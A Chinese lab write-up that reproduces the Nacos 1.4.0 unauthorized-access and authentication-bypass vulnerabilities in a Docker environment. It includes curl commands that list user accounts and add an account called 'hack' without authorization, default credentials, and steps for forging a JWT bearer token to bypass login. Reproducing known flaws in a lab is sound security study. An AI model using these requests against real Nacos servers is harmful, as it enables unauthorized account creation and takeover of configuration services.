关于NACOS-1.4.0未授权访问和旁路身份验证安全漏洞及其复现

简介: 关于NACOS-1.4.0未授权访问和旁路身份验证安全漏洞及其复现

免责声明

技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!譬如收集大规模集群(包括网络设备、操作系统、应用程序)的监控数据并进行存储。查询使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范

下载docker(切root)

Linux内核>=5.5.0

uname -a//查看Linux内核

1、更新下载源

#新重写sources.list中内容,一个个字母删除太久了
cho > /etc/apt/sources.list

#进入sources.lis重新编辑apt源
vim /etc/apt/sources.list

写完后按Esc退出编辑模式
之后shitf+;输入wq,回车

#其他apt源

#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 
#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 
#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
 
#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib
 
#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

2、进行系统或工具的更新

建议边下边打游戏,这样时间快一点TvT
#注:当出现正在设定软件包界面时,直接按tab+enter进行确认
apt-get update && apt-get upgrade && apt-get dist-upgrade
apt-get clean

3、采用apt安装Docker

apt-get install docker docker-compose
#或
apt-get install docker.io

4、检验Docker成功安装

#启动docker服务
service docker start
 
#列出docker现有镜像
docker images

5、搭建环境

vim docker-compose.yml
#内容如下
version: '3'
services:
  nacos:
    restart: always
    image: nacos/nacos-server:1.4.0
    container_name: nacos
    ports:
      - 8848:8848
    environment:
      MODE: standalone

docker-compose up -d启动

访问 http://192.168.xx.xx:8848/nacos/#/login

默认用户名密码 nacos,nacos

NACOS未授权访问漏洞

访问用户账号密码列表

url/nacos/v1/auth/users?pageNo=1&pageSize=9
#pageNo表示第几页,pageSize表示一页显示几个账号,可以根据需要修改
curl -XGET 'http://192.168.1.5:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

QQ截图20240412204819.png

向服务器添加用户

方法1

curl -XPOST 'http://192.168.xx.xx:8848/nacos/v1/auth/users?username=hack&password=hackers'

QQ截图20240412205106.png

方法2

QQ截图20240412205723.png

User-Agent 字段表示的是Nacos服务器自身作为客户端与其他服务交互时的身份标识。
Nacos-Server 是指 Nacos 服务端程序,它是 Nacos 整个服务体系中的核心组件。
  在微服务架构中,Nacos-Server 扮演的角色主要包括:

    1.服务注册中心:服务提供者启动时向 Nacos Server 注册自己的服务实例信息,如 IP 地址、端口号等,服务消费者则可以从 Nacos Server 查询并订阅服务列表,实现服务间的自动发现和调用。

    2.配置中心:Nacos 提供统一的配置管理服务,应用可以通过 Nacos-Server 动态地获取和更新配置信息,而不必重启服务,极大地提高了系统的灵活性和运维效率。

NACOS旁路身份验证安全漏洞

https://jwt.io/构造base64--jwt的网站

我构造的是 2024-05-12 21:21:37 --> 1715520097

QQ截图20240412220842.png

构造Authorization: Bearer

Authorization: Bearer 
是HTTP协议中的一种授权头字段(Header Field),常用于OAuth 2.0协议以及其他JWT(JSON Web  Tokens)认证机制中。当客户端通过OAuth 2.0获取到访问令牌(Access  Token)后,在后续向受保护资源服务器发起请求时,会在HTTP请求头中携带这个字段以证明其身份和权限。
<access_token>
 是一个由授权服务器颁发的、经过加密签名的字符串,代表了客户端获得的授权许可。服务器接收到请求后,会验证这个Bearer Token的有效性,确认无误后允许客户端访问对应的受保护资源。

将jwt码放入Authorization: Bearer后的位置

QQ截图20240412220719.png

QQ截图20240412222215.png

之后继续进行绕过

QQ截图20240412222418.png

放包之后登陆成功

QQ截图20240412222530.png

相关文章
|
6月前
|
安全 Linux Nacos
使用Docker运行Nacos并安装cpolar内网穿透工具实现远程访问
使用Docker运行Nacos并安装cpolar内网穿透工具实现远程访问
217 0
|
6月前
|
安全 Linux Nacos
如何使用公网地址远程访问内网Nacos UI界面查看注册服务
如何使用公网地址远程访问内网Nacos UI界面查看注册服务
349 0
|
6月前
|
Dubbo Java Serverless
Serverless 应用引擎操作报错合集之Nacos中nacos启动正常,访问白页,启动日志显示正常如何解决
Serverless 应用引擎(SAE)是阿里云提供的Serverless PaaS平台,支持Spring Cloud、Dubbo、HSF等主流微服务框架,简化应用的部署、运维和弹性伸缩。在使用SAE过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
186 0
Serverless 应用引擎操作报错合集之Nacos中nacos启动正常,访问白页,启动日志显示正常如何解决
|
6月前
|
存储 SpringCloudAlibaba 安全
Nacos未授权访问复现及修复
Nacos未授权访问复现及修复
607 0
|
6月前
|
安全 Linux Nacos
如何在CentOS使用Docker运行Nacos容器并实现无公网IP远程访问UI界面
如何在CentOS使用Docker运行Nacos容器并实现无公网IP远程访问UI界面
|
4月前
|
Java Nacos 数据库
使用 nacos 搭建注册中心及配置中心
使用 nacos 搭建注册中心及配置中心
95 5
|
4月前
|
NoSQL Java Nacos
SpringCloud集成Seata并使用Nacos做注册中心与配置中心
SpringCloud集成Seata并使用Nacos做注册中心与配置中心
117 3
|
5天前
|
SQL 关系型数据库 数据库连接
"Nacos 2.1.0版本数据库配置写入难题破解攻略:一步步教你排查连接、权限和配置问题,重启服务轻松解决!"
【10月更文挑战第23天】在使用Nacos 2.1.0版本时,可能会遇到无法将配置信息写入数据库的问题。本文将引导你逐步解决这一问题,包括检查数据库连接、用户权限、Nacos配置文件,并提供示例代码和详细步骤。通过这些方法,你可以有效解决配置写入失败的问题。
13 0
|
2月前
|
负载均衡 Java Nacos
SpringCloud基础2——Nacos配置、Feign、Gateway
nacos配置管理、Feign远程调用、Gateway服务网关
SpringCloud基础2——Nacos配置、Feign、Gateway
|
3月前
|
安全 Nacos 数据安全/隐私保护
升级指南:从Nacos 1.3.0 到 2.3.0,并兼容 Seata 的鉴权配置
本文详细介绍了如何在微服务环境下从 Nacos 1.3.0 升级到 2.3.0,并确保 Seata 各版本的兼容性。作者小米分享了升级过程中的关键步骤,包括备份配置、更新鉴权信息及验证测试等,并解答了常见问题。通过这些步骤,可以帮助读者顺利完成升级并提高系统的安全性与一致性。
110 8
升级指南:从Nacos 1.3.0 到 2.3.0,并兼容 Seata 的鉴权配置